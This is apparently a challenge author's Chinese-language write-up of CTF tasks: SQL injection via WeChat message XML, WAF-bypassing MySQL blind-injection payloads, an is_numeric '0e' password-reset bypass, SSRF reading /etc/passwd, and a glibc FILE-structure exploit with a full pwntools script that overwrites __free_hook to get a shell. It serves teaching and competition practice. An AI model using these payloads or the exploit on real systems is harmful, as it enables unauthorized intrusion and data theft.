强网杯WeChat题目设计思路

“强网杯”比赛刚刚结束,本文对其中的部分题目进行解析,欢迎拍砖。

0×01 微信部分

首先给了个公众号,有这么几个操作

1. hello 没啥用  2. note [id] 查看对应id的笔记  3. test [url] 可以帮忙测试url是否可用  

1. 获取服务器ip

通过上面第三个操作,那么测试一个自己的服务器,然后监听一下就能获得服务器的ip了

2. 微信注入

通过查看微信公众号文档,可以直接通过post来模拟与公众号交互的过程:

<xml>  <ToUserName><![CDATA[toUser]]></ToUserName>  <FromUserName><![CDATA[fromUser]]></FromUserName>  <CreateTime>1348831860</CreateTime>  <MsgType><![CDATA[text]]></MsgType>  <Content><![CDATA[this is a test]]></Content>  <MsgId>1234567890123456</MsgId>  </xml>  

那么将这几个值都测试一下注入,发现在fromUser这里存在注入,并且数据库是sqlite。那么后面就很简单了,直接注入就行

<xml>  <ToUserName><![CDATA[test]]></ToUserName>  <FromUserName><![CDATA[xxx',(select group_concat(sql) from sqlite_master))-- ]]></FromUserName>  <CreateTime>1348831860</CreateTime>  <MsgType><![CDATA[text]]></MsgType>  <Content><![CDATA[Note 1 TEAMKEY 054a404ff4cfd978e92f840f3b99a68d]]></Content>  <MsgId>1234567890123456</MsgId>  </xml>  

获取了数据库为lognote之后,可以读到id=999的一个笔记为:

You can leave me message here: http://wc.qwb.com:8088/leave_message.php  

这里的插入语句是这样写的:

sql = "INSERT INTO %s (`team`,`user`,`time`) VALUES ('%s','%s','%s')"%(self.tb,team,u,t)  

因为对team的校验只是判断是否长度为32,所以其实team在这里也是可以注入的,好像也有同学没有看到开发手册直接在公众号上就成功注入了

0×02 网站部分

通过上面已经获取了网站的ip,同时也获取了其虚拟域名从而设置hosts进行访问。

1. sqli

上来是登陆但是没有账号密码,然后根据提示进入了留言界面,尝试xss发现没有,于是尝试注入发现好像可以,被过滤了会返回hacker,成功插入会延时。于是可以根据过滤的字符串绕过:

re = select[(+-]  mysql> [email protected]:='mutepig';  +---------------+  | @a:='mutepig' |  +---------------+  | mutepig       |  +---------------+  re = sleep/(.*?[@/d].*?/)  mysql> select sleep(ascii(true));  +--------------------+  | sleep(ascii(true)) |  +--------------------+  re = from/(.*?/)  mysql> select 1 from {x(mysql.user)} limit 1,1;  +---+  | 1 |  +---+  | 1 |  +---+  无逗号  mysql> select substr("1234"from{x(2)}for(1));  +--------------------------------+  | substr("1234"from{x(2)}for(1)) |  +--------------------------------+  | 2                              |  +--------------------------------+  mysql> select case((select 2))when'1'then(select(sleep(5)))end'x'from users limit 1,1;  +--------------------------------------------------+  | case((select 2))when'1'then(select(sleep(5)))end |  +--------------------------------------------------+  |                                             NULL |  +--------------------------------------------------+  未知列名:(猜出表名)  ([email protected]:=substr(group_concat(c)from{x(1)}for(1))from{x(([email protected]:=4,5,6,1,2,(3)c)union(select*from(users)))b})  

本来这里是不让猜出列名的,但是测试时候设置列名比较简,上场后想起来又懒得改了,于是又比预期简单一丢丢这里给上预期的最终payload:

'-([email protected]:=case((([email protected]:=ascii(substr(group_concat(c)from{x(1)}))from{x(([email protected]:=1,2,(3)c,4,5,6)union(select*from{x(adminuser)}))b}))=51)when'1'then([email protected]:=(sleep(ascii(true))))end'x'from{x(adminuser)})-'  

这里出题的时候其实很随便,就是搜索了一些绕过WAF的技巧,然后一个一个加进来的,结果没想到好像在这里卡主了很多人。。同时由于最终的规则如下:允许的字符:

0123456789abcdefghijklmnokpqrstuvwxyz{}()_.+-*@:=',  

被过滤的正则:

select[{('+-]|benchmark/(|file|from[('+-]|insert|update|delete|or|and|script|sleep/([^)]*?[/d'@]|(substr|substring|pad)/([^)]*?,  

2. forgot password

通过注入可以发现管理员的验证码始终为0,而这里我采用的是必须是数字,用is_numeric判断,这里可以用0e0绕过

vcode=0e000000  username=stupidking&[email protected]&vcode=0e000000&npass=aklsdjfklasjdfk&vcode2=ysuA8WJh&submit=submit  

3. SSRF

进入管理员页面,有一个profile页面可以上传头像,但仔细看了下发现图像并没有上传上去,而是以dataurl形式打印了出来,但是查看源码存在一个能输入imageurltext,猜测前端代码被注释掉了但是后台代码并没有删掉于是进行测试,然后就是加上域名端口就能绕过了(主要防止被扫描器直接扫出来):

urlink=file://wc.qwb.com:8088/etc/passwd  

这里最后也坑了大家一把。。由于比赛前临时将域名从qwb.wechat.com修改成wc.qwb.com而代码中的判断没有修改,到最后一个多小时才想起来,实在是抱歉。。

0×03 bin部分

这里设计了一个后门,原本是用密码来敲开后门的,但是一年时间过去采用的密码现在看来也很简单了T_T,所以就改为出了个pwn来打发了XD这里逻辑并不复杂,就是输入密码和正确的密码来匹配,错了就会写入日志文件,对了其实也就打印一个假的flagXD不知道多少人达到了这里呢?

1. leak heap

由于我们输入的长度有限制,所以只能先泄露堆,这里比较简单,由于可以溢出到文件指针fp,所以可以直接覆盖到_IO_read_ptr或者别的什么,就这样泄露堆地址了。

2. leak libc

其实我们的目标一致都是泄露libc,这个可以通过泄露fp->_chain来实现,因为当前fp->_chain应当指向stderr。那么利用方法就是通过play with file struct中说的方法,利用fwrite泄露任意地址的值,关键代码如下:

        fp->_flags &= ~8;          fp->_flags |= 0x800;          fp->_IO_write_base = msg;          fp->_IO_write_ptr = msg+6;          fp->_IO_read_end = fp->_IO_write_base;          fp->_fileno = 1;          fwrite(buf, 1, 0x100, fp);  

3. free

这个程序看起来没有free,完整走一遍也好像没有调用free,但篡改了fp->_flag后就可能会在fwrite中调用free,那么是哪里呢?答案就是在overflow这,当然更多的分析可以参考 Play with FILE Structure [1] 当需求没有被满足,也就是f->_IO_write_end - f->_IO_write_ptr < todo时,那么会调用_IO_OVERFLOW,而在这里会判断是否在备份状态,而这正是由fp->_flag决定的

769       if (__glibc_unlikely (_IO_in_backup (f)))  770         {  771           size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;  772           _IO_free_backup_area (f);  773           f->_IO_read_base -= MIN (nbackup,  774                                    f->_IO_read_base - f->_IO_buf_base);  775           f->_IO_read_ptr = f->_IO_read_base;  776         }  

那么在备份状态的话,则会调用_IO_free_backup_area,而这里就调用了free (fp->_IO_save_base),同时我们可以看到在_IO_switch_to_main_get_areafp->_IO_save_base=fp->_IO_read_base

186    _IO_free_backup_area (_IO_FILE *fp)  187    {  188      if (_IO_in_backup (fp))  189        _IO_switch_to_main_get_area (fp);  /* Just in case. */  190      free (fp->_IO_save_base);  191      fp->_IO_save_base = NULL;  192      fp->_IO_save_end = NULL;  193      fp->_IO_backup_base = NULL;  194    }  127    _IO_switch_to_main_get_area (_IO_FILE *fp)  128    {  129      char *tmp;  130      fp->_flags &= ~_IO_IN_BACKUP;  131      /* Swap _IO_read_end and _IO_save_end. */  132      tmp = fp->_IO_read_end;  133      fp->_IO_read_end = fp->_IO_save_end;  134      fp->_IO_save_end= tmp;  135      /* Swap _IO_read_base and _IO_save_base. */  136      tmp = fp->_IO_read_base;  137      fp->_IO_read_base = fp->_IO_save_base;  138      fp->_IO_save_base = tmp;  139      /* Set _IO_read_ptr. */  140      fp->_IO_read_ptr = fp->_IO_read_base;  141    }  

也就是说,最终会调用free(fp->_IO_read_base),那么如果我们能篡改__free_hook,同时将fp->_IO_read_base指向/bin/sh,那么就能getshell了。

4. write

#include <stdio.h>  FILE *fp ;  char buf[0x100]="fakesecret";  char msg[0x100] = "";  int main(){      fp = fopen("test.txt","w");      fp->_IO_write_ptr = msg;      fp->_IO_write_end = fp->_IO_write_ptr+10;      fwrite(buf, 1, 0x100, fp);      puts(msg);      fclose(fp);  }  

5. EXP

#!/usr/bin/env python  # encoding: utf-8  from mypwn import *  bin_file = "./backdoor"  remote_detail = ("127.0.0.1",8888)  libc_file = "./libc.so.6"  bp = []  pie = False  p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie)  def pwd(pwd):      p.recvuntil("password > ")      p.send(pwd)  if __name__ == "__main__":      payload = '1'*0x30 + p64(0x11111111fbad3c80) + '1'*(0x98-0x38)      pwd(payload)      # leak libc      libc_addr = p.recvuntil("/n").strip()      libc_addr = libc_addr.split('11')[-1]      libc_addr = libc_addr.ljust(8,'/x00')      print libc_addr      libc_addr = u64(libc_addr)-0x3c5540      log.success("libc_addr: %s",hex(libc_addr))      system_addr = libc_addr + libc.symbols['system']      free_hook = libc_addr + libc.symbols['__free_hook']      binsh_addr = libc_addr + libc.search("/bin/sh").next()      # write free_hook      payload = p64(system_addr) + '1'*0x20 + p64(0xfbad3c80) + '1'*0x28+ p64(free_hook) + p64(free_hook + 8)      pwd(payload)      payload = '1'*0x48 + p64(binsh_addr) + '1'*0x30      pwd(payload)      p.interactive()  

editors

相关文章
发表回复